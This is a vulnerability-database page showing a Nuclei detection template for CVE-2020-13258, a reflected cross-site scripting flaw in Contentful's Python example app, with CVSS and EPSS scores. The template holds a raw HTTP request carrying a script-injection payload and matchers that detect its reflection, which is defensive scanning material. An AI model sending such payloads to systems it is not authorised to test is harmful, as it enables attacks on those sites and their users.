Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2020-13258
HistoryJan 07, 2022 - 2:49 a.m.

Contentful <=2020-05-21 - Cross-Site Scripting

2022-01-0702:49:47
ProjectDiscovery
github.com
6

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.005 Low

EPSS

Percentile

75.6%

Contentful through 2020-05-21 for Python contains a reflected cross-site scripting vulnerability via the api parameter to the-example-app.py.
id: CVE-2020-13258

info:
  name: Contentful <=2020-05-21 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Contentful through 2020-05-21 for Python contains a reflected cross-site scripting vulnerability via the api parameter to the-example-app.py.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Contentful to a version that is not vulnerable to CVE-2020-13258 or apply the necessary patches provided by the vendor.
  reference:
    - https://github.com/contentful/the-example-app.py/issues/44
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13258
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-13258
    cwe-id: CWE-79
    epss-score: 0.00464
    epss-percentile: 0.75413
    cpe: cpe:2.3:a:contentful:python_example:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: contentful
    product: python_example
  tags: cve,cve2020,contentful,xss

http:
  - raw:
      - |
        GET /?cda'"</script><script>alert(document.domain)</script>&locale=locale=de-DE HTTP/1.1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "{'api': '"
          - "</script><script>alert(document.domain)</script>',"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402205300c082ee82da57fd2dfd61a0dd103c9313fde822a16acdc768269bac9848350220414dbe60e7d7cd8516684716cdf6ef8539473b971dbea94b7aa27ae9763526e7:922c64590222798bb761d5b6d8e72950

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.005 Low

EPSS

Percentile

75.6%

Related for NUCLEI:CVE-2020-13258